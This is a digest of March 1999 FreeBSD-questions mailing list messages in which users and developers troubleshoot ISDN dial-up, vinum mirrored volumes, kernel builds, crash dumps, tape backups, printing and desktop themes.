	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Connecting FreeBSD to Australian ISDN ( OnRamp )
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On Tuesday, 23 March 1999 at 21:17:38 +1100, Brendan Kosowski wrote:
>
> My FreeBSD Box is ready to go.
>
> I have my ISDN modem ( OnRamp Digital Modem, also known as the 3COM Impact
> II modem ).
>
> My ISP has given me my ISDN DIAL-UP NUMBER and CHAP username & password.
>
> What do I do next ???
>
> Can you just use pppd & chat as you do with an Analog Modem ???

Yes.

Greg
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From owner-freebsd-questions  Tue Mar 23 14:47:28 1999
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Date: Tue, 23 Mar 1999 16:49:02 -0600
From: Oscar Bonilla <obonilla@fisicc-ufm.edu>
To: Juan Kuuse <kuuse@quik.guate.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: Newbie with package problems (file managers and StarOffice)
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On Tue, Mar 23, 1999 at 01:05:24PM -0600, Juan Kuuse wrote:
> A general question about packages:
> And how do I find out where they are installed and which command to use
> to run them?
> (It isn't always mentioned in the info given by pkg_info.)

pkg_info -L <pkg_name> should give you the info you want.

regards,

-oscar


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From owner-freebsd-questions  Tue Mar 23 14:50:24 1999
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From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Gary Kline <kline@tera.com>
Cc: chirag@cse.iitb.ernet.in, freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD X11 Desktop Theme Contest
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Hi,

On Tue, 23 Mar 1999, Gary Kline wrote:

> According to Brett Taylor:


> > Okay - be warned.  It's a South Park-ified movie poster.  It's also
> > big (read 326 kB).  Sorry.  :-)

> 		Not-a-problem since I'm onsite.  That is a neat bg!
> 		The weather widget is nice.  

Yeah - the distfile went belly up a few days ago (got stuck behind a
firewall at LANL).  The maintainer put up a copy on his site until the
author's site reappears.

> 		Another neat app would be having stock tickers from
> 		all over the world with whatever delay.  ---Sorry, 
> 		I'm drifting.

I don't know if there's one dockcable for WindowMaker but there are a
number of apps available that will keep pop up a stock ticker for you.  
Go to freshmeat.net and do a search on stock - something is bound to pop
up.

Just tried this - you get a lot of goo, but 2 or 3 real stock thingies.

> 		Got to check out that site!  It's be worthwhile
> 		having one of those JPEG's replace my present,
> 		grey xdm login screen.  Jordan mentioned doing 
> 		something similar with Chuck a year or two ago.  

My xdm login is the Beastie standing on a bluff overlooking a desert
landscape (see
http://www.freebsdmall.com/advocacy/images/daemon1-HQ-640x480.jpg) for a
small version - bigger versions are available there.  This image is also
available as a splash image (if you're running 3.0 or greater):

	http://www.baldwin.cx/splash/

Also, if you use Window Maker there's a FreeBSD theme w/ that image as the
background:

	http://wm.themes.org/minithemes.cgi?search=FreeBSD

The bars and such are too bright for my tastes, but that's easy to change
w/ The Gimp. :-)

> 		Is there a way of toggling that ``keep on top''
> 		off as well?

Not w/ a key shortcut - you can always go click on the attribute button
again to change it.  Not quite as fast but....  I'm sure there's a way to
do it w/ a key shortcut but I wouldn't know how. 

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Tue Mar 23 14:56:33 1999
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Date: Tue, 23 Mar 1999 17:55:12 -0500
To: Greg Black <gjb@comkey.com.au>
From: "Scott I. Remick" <scott@computeralt.com>
Subject: Re: Out of Swap Space hangs system 
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
In-Reply-To: <19990323211859.16523.qmail@alpha.comkey.com.au>
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At 04:18 PM 3/23/1999 , you wrote:
>It's not a serious problem -- a properly setup Unix
>system will never crash from lack of swap.

Well, ok... so what are the proper setup steps to ensure a system will not 
crash when the swap fills?  My system in question has a 50MB swap partition 
and 16MB of physical RAM.  I've tried to take further steps to prevent my 
swap from filling in the first place, but should it still happen sometime, 
I want to be prepared.

-----------------------
Scott I. Remick			scott@computeralt.com
Network and Information		(802)388-7545 ext. 236
Systems Manager			FAX:(802)388-3697
Computer Alternatives, Inc.		http://www.computeralt.com


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From owner-freebsd-questions  Tue Mar 23 14:56:54 1999
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From: Greg Lehey <grog@lemis.com>
To: Brian Adkins <brian@lojic.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: Enabling dumping
References: <4.1.19990323142119.00ae9f10@mailbox.iwaynet.net>
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On Tuesday, 23 March 1999 at 14:25:43 -0500, Brian Adkins wrote:
> After my recent panic attack :) I want to enable dumping in /etc/rc.conf
>
> In my "The Complete FreeBSD" book 2nd. ed. p. 88, it says to change the
> following:
>
> dumpdev=NO
> savecore=NO
>
> to:
>
> dumpdev=/dev/wd0s1b  (where this is the swap device)
> savecore=YES
>
> I had the dumpdev line in rc.conf, so I changed it appropriately, but there
> was no savecore, so I added the line.  Is this correct, or does having
> dumpdev set to a device imply savecore thus making it redundant.

Yes, they've changed the semantics, so you no longer need the
'savecore' variable.  It doesn't do any harm, though.

> Is there any way of testing this ie. simulate a panic?

The way I do it is to drop into ddb and enter the 'panic' command.
But that requires ddb to be configured, of course.

Greg
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From owner-freebsd-questions  Tue Mar 23 14:58:12 1999
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Date: Wed, 24 Mar 1999 09:27:46 +1030
From: Greg Lehey <grog@lemis.com>
To: mark_burnett@ibm.net, freebsd-questions@FreeBSD.ORG
Subject: Re: Help with kernel
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On Tuesday, 23 March 1999 at 14:21:01 -0600, Mark Burnett wrote:
> I have a 486DX2/66 that I've loaded FreeBSD on. I'm trying to configure
> the kernel but it won't let me "make depend" on it. I don't have a CD
> ROM on this machine yet. I've attached a copy of the problem kernel
> file. The message I get is:
> make: don't know how to make depend. Stop

Have you run config and changed to the correct directory
(/usr/src/sys/compile/MYKERNEL)?

Greg
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From owner-freebsd-questions  Tue Mar 23 15: 1:57 1999
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Subject: Re: BSD equivalent of Linux 'fuser' command
References: <Pine.BSF.4.10.9903231247000.76993-100000@chain.freebsd.os.org.za> <874sncm4or.fsf@titine.fr.eu.org> <19990323213804.16605.qmail@alpha.comkey.com.au>
From: Eric Jacoboni <jaco@titine.fr.eu.org>
Date: 23 Mar 1999 23:27:22 +0100
In-Reply-To: Greg Black's message of "Wed, 24 Mar 1999 07:38:04 +1000"
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Greg Black <gjb@comkey.com.au> writes:


> This seems to be a bug in fstat.  However, if you install the
> lsof package and repeat your test, you'll get the information
> you want.
> 
> You may care to report the fstat problem with send-pr (after
> checking to see if it has already been reported).

Yes, i've just seen this bug has been reported (bin/7043) but suspended
since July 1998...

I've installed lsof and with a 'lsof /cdrom', it's working...

Thanks.


-- 
---------------------------------------------------
Éric Jacoboni       « No sport! »  (W. Churchill)
---------------------------------------------------


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From owner-freebsd-questions  Tue Mar 23 15: 2:56 1999
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Date: Wed, 24 Mar 1999 09:29:33 +1030
From: Ian Moore <imoore@hamcoll.schools.sa.edu.au>
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Subject: Using dump with a DAT
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Hi,
I'm trying to dump to a Seagate CTD4004R-S 4/8Gig DAT drive on a server
running 2.2 STABLE & am having problems when the end of the tape is
reached. Using -u does not work.
I found this in the mailing list archive:

> On Wed, 25 February 1998 at 16:01:21 -0600, Jason Hudgins wrote:
> >>> I have a Seagate DAT that I've been dumping backups too.  The DAT is
> >>> supposed to have a 4 gig capacity (uncompressed) when writing to a 120m
> >>> tape.  Can anyone PLEASE tell me the proper density/tape length to get
> >>> 4 gigs out of this thing? So far I've been using a density of 61000 and a
> >>> length of 6000, which will store about 2 gigs..and works fine, but I
> >>> REALLY need to get 4 gigs out of it...or at least 3.
> >>
> >> Try using the -a option and drop the length and density options. If your drive
> >> reports EOM properly it should work just fine.
> >
> > I've tried that.. it doesn't work.. it just hits the end of the tape and
> > the bugs out with write errors.. =(
> 
> Unfortunately, the tape driver currently returns an I/O error
> indication when it hits end of tape.  They're working on it, but it's
> more complicated than it appears.
> 
> Greg
> 

I'm wondering if this problem has been solved yet?!
If not, can anyone tell me what values I should use for a 4G DAT tape
(120 metres) if I don't use compression -I've tried some of the
suggestions given on the mailing list archives, but keep getting
'invalid 'd' (density) value' or 'invalid 'b' (no of blocks per write)
value' errors.
There seem to be numerous opinions on what values to use & wether to use
d & s or b & B parameters & I'm kinda confused.

Cheers,
-- 
Ian Moore
Network Administrator
Hamilton Secondary College


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From owner-freebsd-questions  Tue Mar 23 15:18: 4 1999
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To: freebsd-questions@freebsd.org
Subject: Re: Out of Swap Space hangs system 
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Greg Black <gjb@comkey.com.au> writes:

>> > Is it normal for running out of swap space to hang the system?
>> 
>> Unfortunately, yes.

>Right, so far.

>> It should not be, especially for a server OS.

>By all means provide an algorithm to solve it, if it concerns
>you.  I think you'll find it's non-trivial.

Here's one possible algorithm, in pseudo-perl:

   for $pid (@all_active_pids) {
      $critical_system_process{$pid} && next;
      &kill($pid);
      &got_enough_swap() && last;
   }
-- 
Rahul Dhesi <dhesi@spams.r.us.com>


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From owner-freebsd-questions  Tue Mar 23 15:28:37 1999
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Date: Tue, 23 Mar 1999 15:28:09 -0800
To: Codeguy <codeguy@wolf.com>, freebsd-questions@freebsd.org
From: Ludwig Pummer <ludwigp@bigfoot.com>
Subject: Re: Beginner questions re. vinum
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At 02:27 PM 3/23/99 , Codeguy wrote:
>I've currently got 1.2 GB of each drive allocated;
>swap apace and root FS on da0, and /work on da1. 
>I'd like to use the remaining 3.3 GB of each drive 
>for vinum volumes.  Any reasons why I shouldn't be 
>able to do so?

By unallocated, you mean not allocated in a slice, or not allocated in a
partition? (Did you leave it empty when you were using sysinstall's fdisk
or sysinstall's partition editor ?)

>I *have* read through the man pages (I've got hard copy 
>here in front of me), and think I have an idea of how to
>proceed.  I've created a file named /etc/vinum.rc, containing:
>
>drive drive0 device /dev/da0
>drive drive1 device /dev/da1

This tells vinum to use all of both SCSI disks. Including the 1.2GB of
already-allocated space.
If the unallocated space wasn't assigned a slice, run fdisk to add a slice
for it, create a partition which takes the entire disk using disklabel, and
change the devices to be /dev/da0s2e or something similar.
If the unallocated space is in the FreeBSD slice but not in a partition,
use disklabel to assign it a partition and change the devices to be
/dev/da0s1g or something similar.

>volume www
>  plex org striped 256k
>      sd length 1600m drive drive0
>      sd length 1600m drive drive1
>volume logs
>   plex org striped 256k
>      sd length 1600m drive drive0
>      sd length 1600m drive drive1

This does not mirror data. What this does is say that for each volume, you
will have one plex (one copy of the data) split across the two drives. If
you re-read the vinum manpages, you will see a sentence saying something
like "a plex contains the entire address space of the volume...". If you
want to have 2 copies of your www data, you need to make 2 plexes for each
volume, not 2 subdisks for each plex. So the config becomes:

volume www
  plex org concat
      sd length 1600m drive drive0
  plex org concat
      sd length 1600m drive drive1
volume logs
  plex org concat
      sd length 1600m drive drive0
  plex org concat
      sd length 1600m drive drive1

>As I understand what I've read, this should identify both
>hard drives as eligible for vinum control, identify volumes named
>"www" and "logs", each of which is built out of 256 kbyte stripes
>across both drives, for a total size of 1600 megs each volume.
>Is this more or less correct?

You told it to (for each volume) to create a 3.2GB volume, which is shared
across 2 drives. So if one drive goes down, your data is gone.

>My next step was:
>  vinum create /etc/vinum.rc
>which seemd to complete normally.  This was followed by
>   vinum init www
>   vinum init logs
>which also seemed to complete normally (and very quickly as
>well - just a few seconds).  I then tried
>   vinum start www
>   vinum start logs
>which produced after just a few seconds:
>   vinum: Can't write config top /dev/da0, error 19
>   vinum: drive0 is down
>   vinum: www.p0.s0 is crashed
>   vinum: www.p0 is corrupt
>   vinum: logs.p0.s0 is crashed
>   vinum: logs.p0 is corrupt
>   vinum: drive1 is down
>   vinum: www.p0.s1 is crashed
>   vinum: www.p0 is faulty 
>   vinum: www is down
>   vinum: logs.p0.s1 is crashed
>   vinum: logs.p0 is faulty 
>   vinum: logs is down
>
>I assume this indicates that I did something majorly dumb.  
>Could some kind soul please point out the error of my ways?

Yes. It's complaining that it can't write to the entirety of you da0 and
da1 disks (probably because FreeBSD won't let it because you have mounted
filesystems there).
I don't know too much about exactly when FreeBSD would stop vinum from
writing to da0... some parts of the disk may have already been overwritten
and you just haven't noticed yet (i'm thinking the boot sector/boot
loaders). Greg, please correct me here.

>And finally, once I have managed to complete the proper steps
>to actually have a working vinum config, what do I need to do 
>to newfs my vinum volumes?

The only special thing you need is the -v flag, which is mentioned in the
vinum manpages.

newfs -v /dev/vinum/www
newfs -v /dev/vinum/logs

Then create mountpoints for the 2 volumes, add them to your /etc/fstab, and
try mounting.

--Ludwig Pummer ( ludwigp@bigfoot.com ) ICQ UIN: 692441


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From owner-freebsd-questions  Tue Mar 23 15:33: 2 1999
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To: Evren Yurtesen <yurtesen@turkey.ispro.net.tr>
Cc: Dan Busarow <dan@dpcsys.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: (2) !!!URGENT DNS PROBLEM!!!
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Evren Yurtesen wrote:
> 
> hello again
> thanks for your help lately,

Crossposting it is only going to annoy more people even more :-( ... This has
been replied to on the -isp list :-)

-Kp


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From owner-freebsd-questions  Tue Mar 23 15:39:55 1999
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: =?iso-8859-1?Q?=27S=F8ren_Schmidt=27?= <sos@freebsd.dk>
Cc: questions@FreeBSD.ORG
Subject: RE: unable to use cdrecord on an ATAPI CD-R under 2.2.8.
Date: Tue, 23 Mar 1999 18:40:30 -0500
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I'm sorry to say that's a bit over my head right now.  Would you (or =
someone
else on the list) be able to assist me with this?
-Chris

> -----Original Message-----
> From:	S=F8ren Schmidt [SMTP:sos@freebsd.dk]
> Sent:	Sunday, March 21, 1999 5:06 AM
> To:	cjm2@earthling.net
> Cc:	questions@FreeBSD.ORG; alec@nikts.nk.ukrtel.net; =
current@FreeBSD.ORG
> Subject:	Re: unable to use cdrecord on an ATAPI CD-R under 2.2.8.
>=20
> It seems Christopher J. Michaels wrote:
> > Well, I'm sorry to say that it looks like I've found the answer to =
my
> own
> > question.  I found after this posting (by looking at dmesg) that I =
was
> > getting the following error.
> > 	acd0: rezero failed
> >=20
> > I did some searching and found several postings in -current that =
said my
> > drive, a MITSUMI CR-2600TE, does not support the REZERO command and =
is
> > therefore not going to work, at least with the acd driver I have =
running
> > now.
>=20
> You could try to change the rezero function with a call to the start
> device function instead, that should work.
>=20
> -S=F8ren
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Tue Mar 23 15:44: 6 1999
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On 23 Mar 99, at 7:17, Jeroen Ruigrok/Asmodai wrote:

> On 22-Mar-99 Dave Walton wrote:
> > Is there a driver available for the Winbond W83781D Hardware 
> > Monitoring chip?
> > See http://www.winbond.com/produ/w83781d.htm and 
> > http://www.winbond.com/sheet/W83781D.pdf for details.
> 
> Anyways, this is one of those heat monitoring chips? 

Temperature, voltage, fan speed, etc.

> Dunno if they (the other developers) are/were doing work on that, but if
> the specs for the chip are freely available I think that there may be some
> programmers with driver knowledge out there which might want to take this
> up...

I *think* all the necessary info is at those two URLs.  The only 
thing missing is a qualified developer.  Mebbe I should send this to 
freebsd-hackers?

> Me? No driver writing experience at all... 

Same here...

> (HINT: how about revising the DDWG guys?)

DDWG?

Dave


----------------------------------------------------------------------
Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
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From owner-freebsd-questions  Tue Mar 23 15:47:31 1999
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Date: Tue, 23 Mar 1999 15:48:50 -0800
From: Shawn Ramsey <shawn@cpl.net>
To: questions@freebsd.org
Subject: SIIG SCSI controller supported? 
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Does anyone know if the SIIG SC-PSUW12 SCSI adapter is suppported? This is a
PCI UW adapter... SIIG's web site doesn't say what chipset it uses, but if
its the Symbios 53Cxxx I would guess it would work. Anyone know?



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From owner-freebsd-questions  Tue Mar 23 16: 7:58 1999
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Date: Wed, 24 Mar 1999 10:37:17 +1030
From: Greg Lehey <grog@lemis.com>
To: Codeguy <codeguy@wolf.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: Beginner questions re. vinum
References: <199903232227.OAA19794@wolf.com>
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On Tuesday, 23 March 1999 at 14:27:49 -0800, Codeguy wrote:
> I'm setting up a new FreeBSD system (3.1) on a Pentium box with two
> Quantum Ultra-SCSI drives (4.5 GB each).  This box will be used to
> log data from two important experiments.  Since the data is kind of
> important, the powers that be want to have the data mirrored across
> the two drives.
>
> I've currently got 1.2 GB of each drive allocated; swap apace and
> root FS on da0, and /work on da1.  I'd like to use the remaining 3.3
> GB of each drive for vinum volumes.  Any reasons why I shouldn't be
> able to do so?

None that I can think of.

> I *have* read through the man pages (I've got hard copy here in
> front of me), and think I have an idea of how to proceed.  I've
> created a file named /etc/vinum.rc, containing:
>
> drive drive0 device /dev/da0
> drive drive1 device /dev/da1
> volume www
>   plex org striped 256k
>       sd length 1600m drive drive0
>       sd length 1600m drive drive1
> volume logs
>    plex org striped 256k
>       sd length 1600m drive drive0
>       sd length 1600m drive drive1

Looks syntactically correct.

> As I understand what I've read, this should identify both hard
> drives as eligible for vinum control, identify volumes named "www"
> and "logs", each of which is built out of 256 kbyte stripes across
> both drives, for a total size of 1600 megs each volume.  Is this
> more or less correct?

Partially.  Each volume will have 3200 MB.  And they won't be
mirrored.  To mirror them, you need additional plexes.  To judge from
what you say above, I think what you want is:

drive drive0 device /dev/da0
drive drive1 device /dev/da1
volume www setupstate
  plex org striped 256k
      sd length 800m drive drive0
      sd length 800m drive drive1
  plex org striped 256k
      sd length 800m drive drive1
      sd length 800m drive drive0
volume logs setupstate
  plex org striped 256k
      sd length 800m drive drive0
      sd length 800m drive drive1
   plex org striped 256k
      sd length 800m drive drive1
      sd length 800m drive drive0

This will give you mirrored, striped volumes of 1600 MB.  Note that
the subdisks of the second plex are stored on the "other" disk
relative to the first plex.  This means that any write operation to
the volume will go to both disks simultaneously.  If you didn't do
this, the write to the second plex would have to wait for the write to
the first plex to complete.

> My next step was:
>   vinum create /etc/vinum.rc
> which seemd to complete normally.  This was followed by
>    vinum init www
>    vinum init logs
> which also seemed to complete normally (and very quickly as
> well - just a few seconds).

I suppose it depends on what you mean by "normally".  I rather suspect
you got the message

  www is not a plex
  logs is not a plex

From vinum(8):

     init plex

             vinum init initializes a plex by writing zeroes to all its sub-
             disks.  This is the only way to ensure consistent data in a plex.
             You must perform this initialization before using a RAID-5 plex.
             It is also recommended for other new plexes.

>  I then tried
>    vinum start www
>    vinum start logs

You don't need this unless the objects are down.

> which produced after just a few seconds:
>    vinum: Can't write config top /dev/da0, error 19
>    vinum: drive0 is down
>    vinum: www.p0.s0 is crashed
>    vinum: www.p0 is corrupt
>    vinum: logs.p0.s0 is crashed
>    vinum: logs.p0 is corrupt
>    vinum: drive1 is down
>    vinum: www.p0.s1 is crashed
>    vinum: www.p0 is faulty
>    vinum: www is down
>    vinum: logs.p0.s1 is crashed
>    vinum: logs.p0 is faulty
>    vinum: logs is down

Interesting.  I tried this here and got:

  # vinum start obj
  Can't start obj: Invalid argument (22)

I suppose we could do with a better message than that, but basically
it's trying to say "how can I start it when it's already started?".
I've changed the code, and now you'll get a message like:

  # vinum start src.p0.s1
  src.p0.s1 is already up

I've updated the man page, and soon you will be able to read (under
the description of the `start' command):
  
             If object names are specified, vinum starts them.  Normally this
             operation is only of use with subdisks.  The action depends on
             the current state of the object:

             o   If the object is already in the up state, vinum does nothing.

             o   If the object is a subdisk in the down or reborn states,
                 vinum changes it to the up state.

             o   If the object is a subdisk in the empty state, the change de-
                 pends on the subdisk.  If it is part of a plex which is part
                 of a volume which contains other plexes, vinum places the
                 subdisk in the reviving state and attempts to copy the data
                 from the volume.  When the operation completes, the subdisk
                 is set into the up state.  If it is part of a plex which is
                 part of a volume which contains no other plexes, or if it is
                 not part of a plex, vinum brings it into the up state immedi-
                 ately.

             o   If the object is a subdisk in the reviving state, vinum con-
                 tinues the revive operation offline.  When the operation com-
                 pletes, the subdisk is set into the up state.

             When a subdisk comes into the up state, vinum automatically
             checks the state of any plex and volume to which it may belong
             and changes their state where appropriate.

             If the object is a volume or a plex, start currently has no ef-
             fect: it checks the state of the subordinate subdisks (and plexes
             in the case of a volume) and sets the state of the object accord-
             ingly.  In a later version, this operation will cause the sub-
             disks

> And finally, once I have managed to complete the proper steps
> to actually have a working vinum config, what do I need to do
> to newfs my vinum volumes?

From vinum(4):

MAKING FILE SYSTEMS
     Since vinum volumes do not contain partitions, the names do not need to
     conform to the standard rules for naming disk partitions.  For a physical
     disk partition, the last letter of the device name specifies the parti-
     tion identifier (a to h).  vinum volumes need not conform to this conven-
     tion, but if they do not, newfs will complain that it cannot determine
     the partition.  To solve this problem, use the -v flag to newfs.

To this I have added:

                                                                       For ex-
     ample, if you have a volume concat, use the following command to create a
     ufs file system on it:

       # newfs -v /dev/vinum/rconcat

     As with other file systems, you perform the newfs command on the raw de-
     vice, not the block device.

In addition to this, I'll write a section on how to set up vinum in
the vinum(8) man page.  Real Soon Now.

Greg
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From owner-freebsd-questions  Tue Mar 23 16:16:13 1999
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From: Greg Lehey <grog@lemis.com>
To: Ludwig Pummer <ludwigp@bigfoot.com>, Codeguy <codeguy@wolf.com>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: Beginner questions re. vinum
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On Tuesday, 23 March 1999 at 15:28:09 -0800, Ludwig Pummer wrote:
> At 02:27 PM 3/23/99 , Codeguy wrote:
>> I've currently got 1.2 GB of each drive allocated;
>> swap apace and root FS on da0, and /work on da1.
>> I'd like to use the remaining 3.3 GB of each drive
>> for vinum volumes.  Any reasons why I shouldn't be
>> able to do so?
>
> By unallocated, you mean not allocated in a slice, or not allocated in a
> partition? (Did you leave it empty when you were using sysinstall's fdisk
> or sysinstall's partition editor ?)
>
>> I *have* read through the man pages (I've got hard copy
>> here in front of me), and think I have an idea of how to
>> proceed.  I've created a file named /etc/vinum.rc, containing:
>>
>> drive drive0 device /dev/da0
>> drive drive1 device /dev/da1
>
> This tells vinum to use all of both SCSI disks. Including the 1.2GB of
> already-allocated space.

Oops, I missed this one.  Yes, Ludwig's right.  Use something like
/dev/da0e and /dev/da1e.  This probably also explains the messages you
have been getting.

> If the unallocated space wasn't assigned a slice, run fdisk to add a slice
> for it, create a partition which takes the entire disk using disklabel, and
> change the devices to be /dev/da0s2e or something similar.

To avoid shooting yourself in the foot, use the compatibility slice
/dev/da0e (at least for the present), since that's what vinum looks
for in the 'start' command.  I saw a case yesterday where somebody
hadn't created device nodes for the compatibility slices, so 'vinum
start' silently ignored the disks.

>> volume www
>>  plex org striped 256k
>>      sd length 1600m drive drive0
>>      sd length 1600m drive drive1
>> volume logs
>>   plex org striped 256k
>>      sd length 1600m drive drive0
>>      sd length 1600m drive drive1
>
> This does not mirror data. What this does is say that for each volume, you
> will have one plex (one copy of the data) split across the two drives. If
> you re-read the vinum manpages, you will see a sentence saying something
> like "a plex contains the entire address space of the volume...". If you
> want to have 2 copies of your www data, you need to make 2 plexes for each
> volume, not 2 subdisks for each plex. So the config becomes:
>
> volume www
>   plex org concat
>       sd length 1600m drive drive0
>   plex org concat
>       sd length 1600m drive drive1
> volume logs
>   plex org concat
>       sd length 1600m drive drive0
>   plex org concat
>       sd length 1600m drive drive1

This doesn't stripe, of course, but it's equally valid.

>> I assume this indicates that I did something majorly dumb.
>> Could some kind soul please point out the error of my ways?
>
> Yes. It's complaining that it can't write to the entirety of you da0 and
> da1 disks (probably because FreeBSD won't let it because you have mounted
> filesystems there).

I'm not sure how you managed to avoid shooting yourself in the foot,
but you're lucky, and I don't want to repeat the experiment here :-)

> I don't know too much about exactly when FreeBSD would stop vinum from
> writing to da0... some parts of the disk may have already been overwritten
> and you just haven't noticed yet (i'm thinking the boot sector/boot
> loaders). Greg, please correct me here.

In principle you're correct, but vinum turns this protection off :-)

Greg
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From owner-freebsd-questions  Tue Mar 23 16:19:53 1999
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From: "Gavan Anderson" <gavanja@ibm.net>
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I just set up a 2.2.8 installation on a Pentium 133.
On boot up as it scans through the hardware, one of the messages returned states:

"Pentium F00F detected .. installing workaround"

What does this really mean? Do I have a problem with that version of the Pentium 
processor, or is it something broken in the INTEL instruction set?

TIA,

Gavan Anderson
<gavanja@ibm.net>




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From owner-freebsd-questions  Tue Mar 23 16:25: 5 1999
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Subject: RE: P133 Question (F00F bug)
Date: Tue, 23 Mar 1999 17:24:16 -0700
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http://www.x86.org/Errata/Dec97/F00FBug.html

-----Original Message-----
"Pentium F00F detected .. installing workaround"

What does this really mean? Do I have a problem with that version of the
Pentium 
processor, or is it something broken in the INTEL instruction set?


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From owner-freebsd-questions  Tue Mar 23 16:36:55 1999
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From: "William Christensen" <wchriste@sk.sympatico.ca>
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Date: Mon, 22 Mar 99 21:27:19 
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Dear Sir:

I am a first time purchaser of FreeBSD (invoice 03992027) and I am having trouble 
getting my SCSI driven CDROM to be reconized.  

The CDROM is a SCSI 2x Toshiba brand that is running off of a AIC 6360 SCSI 
controller (that in turn is part of a 16bit SoundBlaster card).  The AIC6360 is at port 0x340 
and its IRQ is 11.  The AIC 6360/Toshiba CDROM combination is able to run perfectly 
on OS/2 Warp v3.

If I am reading the "Complete FreeBSD" correctly, it seems the the probe should find 
the AIC6360 and then load up the code for the Toshiba CDROM.  But it dosn't..

After the "config utility"  is  complete I press the scrolllock and page up.  No where can I 
find where the "config utility" probed port 0x340 nor can can I find a "aic0" entry.  

When it come time to down load the FreeBSD software off of the CDROM the "config 
utility" said that it could not find a CDROM drive.  

I am using the 2xfloppy/CDROM combination to get  FreeBSD on the system.

Any help in getting my CDROM reconized would be appreciated.

Thanks

William
 


 
  






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From owner-freebsd-questions  Tue Mar 23 16:39:45 1999
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Date: Tue, 23 Mar 1999 21:42:47 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Dan Langille <junkmale@xtra.co.nz>
Cc: Vallo Kallaste <vallo@matti.ee>, freebsd-questions@FreeBSD.ORG
Subject: Re: uname -a
Message-ID: <19990323214247.A31791@scientia.demon.co.uk>
References: <Pine.BSF.4.05.9903211507480.328-100000@nyc-ny78-59.ix.netcom.com>; <19990321222728.A11269@matti.ee> <19990323190549.EPVT4957949.mta1-rme@wocker>
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Dan Langille wrote:

>>>> What does the #n denote?
>>> 
>>> How many times you have compiled this kernel. 
>> 
>> Without cleaning up the kernel compile directory, right?
> 
> You mean without doing a make clean?

"make clean" doesn't affect the compile number. It's kept in the file
called "version", which doesn't get removed by "make clean".

-- 
Ben Smithurst
ben@scientia.demon.co.uk

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From owner-freebsd-questions  Tue Mar 23 16:40: 9 1999
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Mark Burnett wrote:

> I have a 486DX2/66 that I've loaded FreeBSD on. I'm trying to configure
> the kernel but it won't let me "make depend" on it. I don't have a CD
> ROM on this machine yet. I've attached a copy of the problem kernel
> file. The message I get is:
> make: don't know how to make depend. Stop

Which steps have you done? I assume you have done something like this,

# cd /sys/i386/conf
# config KERNELNAME
# cd ../../compile/KERNELNAME

and after that, you get the error above? That seems odd, you _are_
running "make depend" from the right directory, aren't you?

-- 
Ben Smithurst
ben@scientia.demon.co.uk

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From owner-freebsd-questions  Tue Mar 23 16:40:29 1999
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Date: Tue, 23 Mar 1999 21:46:13 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Brian Adkins <brian@lojic.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: Enabling dumping
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Brian Adkins wrote:

> Is there any way of testing this ie. simulate a panic?

Build a kernel with "options DDB", log in on the console, press
CTRL-ALT-ESC, type "panic" at the ddb prompt. Might be a good idea to do
that in single user mode after doing "sync" or something to reduce the
chance of losing data. There may be other ways.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

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From owner-freebsd-questions  Tue Mar 23 16:42:58 1999
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From: "Ben Yiu" <byiu@shaw.wave.ca>
To: "FreeBSD Questions" <freebsd-questions@freebsd.org>
Subject: Printing Issues
Date: Tue, 23 Mar 1999 19:45:25 -0500
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Hi, I am having problems creating a device for my printer.  I followed the
directions in the FreeBSD handbook and it tells you to create a device using
the ./MAKEDEV lpt0 command line.  However from reading the FreeBSD release
notes for 3.1, they had implemented the new nlptN in the kernel.

So after looking in my kernel sure enough I found that I did have a nlptN
entry in my kernel.   Also after issuing the command "dmesg | grep nlpt" I
found that it did recognize the port.  However when i issued the command
"dmesg | grep lpt" nothing was found.

From the above I concluded.

1.	lptN will be replaced by nlptN.
2.	my printer port was found at nlptN
3.	I should try to create a nlptN node using ./MAKEDEV nlptN since there
already isin't one 	present in the /dev directory


This does not work.  After issuing the command "./MAKEDEV nlpt0" i get the
msg "nlpt0 - no such device name"  I was hoping for help from someone from
the mailing list as to what I am doing wrong or maybe I am missing a step.
Thanks.



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From owner-freebsd-questions  Tue Mar 23 16:53:25 1999
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hi, I compiled with pcm0 in kernel. I get this error

"pcm0: unit not configured, perhaps you want pcm1 ?"

also /dev/sndstat shows :
pcm1: <SoundBlaster 16 4.16> at 0x220 irq 5 dma 1:3
sequencer1: <???> at 0x388 (not functional)

I am already aware that I can't use snd0 because my second dma is 3 and
snd0 doesn't support second dma 3.

Thanks in advance for help.






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From owner-freebsd-questions  Tue Mar 23 16:53:33 1999
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Subject: Re: FreeBSD X11 Desktop Theme Contest
In-Reply-To: <Pine.BSF.4.05.9903231537250.11710-100000@peloton.physics.montana.edu> from Brett Taylor at "Mar 23, 99 03:48:47 pm"
To: brett@peloton.physics.montana.edu (Brett Taylor)
Date: Tue, 23 Mar 1999 16:53:01 -0800 (PST)
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According to Brett Taylor:

	[[ ... ]]


> 
> > 		Got to check out that site!  It's be worthwhile
> > 		having one of those JPEG's replace my present,
> > 		grey xdm login screen.  Jordan mentioned doing 
> > 		something similar with Chuck a year or two ago.  

	The stock apps are a weekend project.  If any of these toys
	look worth porting, I'll consider it.  

> 
> My xdm login is the Beastie standing on a bluff overlooking a desert
> landscape (see
> http://www.freebsdmall.com/advocacy/images/daemon1-HQ-640x480.jpg) for a
> small version - bigger versions are available there.  This image is also
> available as a splash image (if you're running 3.0 or greater):
> 
> 	http://www.baldwin.cx/splash/
> 
> Also, if you use Window Maker there's a FreeBSD theme w/ that image as the
> background:
> 
> 	http://wm.themes.org/minithemes.cgi?search=FreeBSD
> 
